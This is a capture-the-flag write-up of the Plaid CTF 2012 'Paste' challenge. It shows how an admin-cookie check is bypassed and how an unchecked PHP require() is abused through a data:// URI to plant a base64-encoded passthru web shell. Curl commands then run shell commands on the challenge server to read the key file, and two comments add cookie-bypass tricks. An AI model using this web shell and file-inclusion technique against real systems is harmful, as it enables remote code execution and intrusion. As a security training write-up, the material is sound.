Plaid CTF 2012 – Paste

Robot hackers, like their human counter parts, have a largely unmet need to dump large amounts of text to their peers. We recently got access to one of their servers and are providing you with the files. What have they been talking about?
Title: Paste (100)
Category: Practical Packets

This challenge is a webapplication, a pastebin for robot hackers. Luckily the humans got the source code. It contains an admin cookie employing the well known ‘security by obscurity’ method, a questionable preg_replace statement using eval mode and an unchecked require. What can we do with those?

The Red Herring

It was late at night and we didn’t notice the unchecked require, so first we had a look at the preg_replace in display_paste.php:

$text_array[$counter] = preg_replace( '/(.*?)/ie', 'strtolower("$1")', substr($line, 2) );

The /e means that the second argument will be executed as php code. Does this sound safe? Absolutely not. This would have been a good way to find out the admin cookie, but it didn’t work. Lucky robots.

We thought it was interesting to find out why, so we made a little test:

$foo = 'H4X';
echo preg_replace('/(.*)/ie', 'strtolower("$1")', '$foo');
echo preg_replace('/(.*?)/ie', 'strtolower("$1")', '$foo');

When you execute this, you can see for yourself what the difference is.

The Exploit

The unchecked require in display_paste.php looked like this:

if (strcmp(substr($description, 0, 2), "^^") == 0) {
	require(substr($description, 2) . ".txt");

So when the description starts with ‘^^’, a text file gets included, however ‘^^’ gets stripped unless you are admin and making a followup.
The admin cookie code in make_followup.php looks like this:

if (!(isset($_COOKIE[PASTE_ADMIN]) && $_COOKIE[PASTE_ADMIN] == 'TRUE')) {
	$admin = true;
	foreach ($_COOKIE as $name => $value) {
		if ($value == 'TRUE' && $name != PASTE_ADMIN) {
			$admin = false; break;
	while (!$admin && strlen($description) > 0 && strcmp(substr($description, 0, 2), "^^") == 0) {
		$description = substr($description, 2);

It checks all cookies, and only the admin cookie may be TRUE. This required some manual labor, simply enter something in the description starting with ‘^^’ and try setting the admin cookie to TRUE one by one. Everything after ‘^^’ will be passed to require. Cookie Manager+ for Firefox can help with changing the cookie value. Due to the nature of php.net/require, as soon as you get a blank page you’ve found your admin cookie!

Now that we have found the admin cookie, we can probably include remote php code (we can pass anything to require, but since we’re too lazy to host our code somewhere we’ll try something else: data://.
First convert some PHP code to base64:

$ echo -n '<?php passthru($_GET['c']); die('h4x'); ?>' | base64

We chose to use a ‘c’-parameter to execute system commands. Now insert the result into the followup description field:


This will insert base64 encoded PHP code in the require-statement, which works because data:// is a valid protocol in PHP. If it works, the code is executed immediately after you hit submit and you’ll see a ‘h4x’ displayed. All you’ll have to do now is find the key using the ‘c’-parameter.

h4x[dutchy@vampire ~]$ curl 'http://ec2-174-129-45-88.compute-1.amazonaws.com/8f6998e93eb49429e35ff74b2719dc7e/display_paste.php?paste=4fa1742ebaa12&c=ls'
h4x[dutchy@vampire ~]$ curl 'http://ec2-174-129-45-88.compute-1.amazonaws.com/8f6998e93eb49429e35ff74b2719dc7e/display_paste.php?paste=4fa1742ebaa12&c=cat%20key.php'

	$KEY = "s0m3_php_d3v5_actua11y_d0_th15";

{2 Responses to “Plaid CTF 2012 – Paste”}

  1. There’s a better way to get the admin cookie. You just need to add 11 random cookies, visit any page and only the admin cookie will get added. Check cookies.php to see why.

  2. There is an even easier way, leave all cookies as FALSE. The check only ensures that any non-admin cookie isn’t true, if they are all false it will treat you as an admin. Alternatively, setting all cookies to TRUE will ensure the admin cookie is true, and it’ll never check any other cookies.